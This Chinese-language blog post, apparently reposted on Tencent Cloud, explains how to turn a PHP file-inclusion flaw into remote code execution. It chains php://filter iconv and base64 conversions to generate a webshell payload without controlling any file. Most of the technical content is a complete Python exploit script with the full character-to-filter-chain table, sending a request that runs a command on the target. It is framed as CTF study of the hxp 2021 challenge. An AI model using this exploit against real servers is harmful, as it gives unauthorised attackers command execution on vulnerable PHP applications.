前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用filter过滤器的编码组合构造RCE

利用filter过滤器的编码组合构造RCE

作者头像
ph0ebus
发布2023-05-16 11:03:36
4310
发布2023-05-16 11:03:36
举报
前言

紧接上篇,记录一下如何实现利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

PHP Base64 Filter

Base64编码中只包含64个可打印字符A-Za-z0-9/+=,而PHP在解码base64时,遇到不在其中的字符包括不可见字符、控制字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。例如:

<?php
$url="?<_>\xefa \x89x;";  // 字母k经过base64编码后为ax
var_dump(base64_decode($url));
// string(1) "k"

因此利用 PHP Filter Base64 可以去掉一些特殊字符。参考p神文章:谈一谈php://filter的妙用

学习了这个就可以开始尝试构造一句话木马RCE了

无中生有

首先我们都知道include "php://filter/convert.base64-decode/resource=./flag.php";这里包含的是 flag.php 的内容经过base64编码后的结果。除了这个filter,PHP Filter 当中还有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B。可以通过命令 iconv -l 列出支持的字符编码,虽然列出的字符编码比较多,但一些实际上是其他字符集的别名。

这时候,奇妙的东西出现了,convert.iconv.UTF8.CSISO2022KR 将始终在字符串前面添加\x1b$)C\x1b是不可见字符可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。事实真是如此吗,no!经过测试可以发现,当 C 后面没有 base64 有效字符时,并没有将 C 还原回来。

这时候该怎么办呢(思考脸),既然刚刚UTF8.CSISO2022KR可以捏造出base64有效字符,那先捏造出来一些垃圾数据不就可以了。为了得到满满的有效字符,可以直接再base64编码一手,那么代码就长这样

这样就还原出了字符C,这里使用convert.iconv.UTF8.UTF7的原因是 有时候会出现convert.base64-decode 过滤器失败的情况:如果它在意想不到的时候遇到等号,幸运的是可以再次使用 iconv 并从 UTF8 转换为 UTF7,这会将字符串中的任何等号转换为某个 base64有效字符

因此只要编码规则用得好,其实resource的文件内容是什么无关紧要,只要有文件,哪怕是个空文件,也能无中生有制造垃圾数据作为基础数据进行编码转换。

恶意构造

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号这些,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以将恶意 PHP 代码 base64 编码后作为目标字符,通过编码规则逐步拓展原字符串的字节长度,在原字符串的前端生成我们想要构造的字符,最后再使用一次 base64 解码一次就可以了。比如

<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4=,然后通过各种字符编码组合 fuzz 出所有单字符的编码形式,而且并不是所有出现了合法字符的编码形式就是符合要求的,然后把符合要求的组合起来即可。那么整个脚本为:

出自 Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)
一把梭

有了这个脚本就可以根据题目需要进行适当修改,然后一把梭啦!

又学会一种新姿势!并感谢 Gqleung 的讲解

Reference: https://tttang.com/archive/1395/ https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-02-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • PHP Base64 Filter
  • 无中生有
  • 恶意构造
  • 一把梭
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档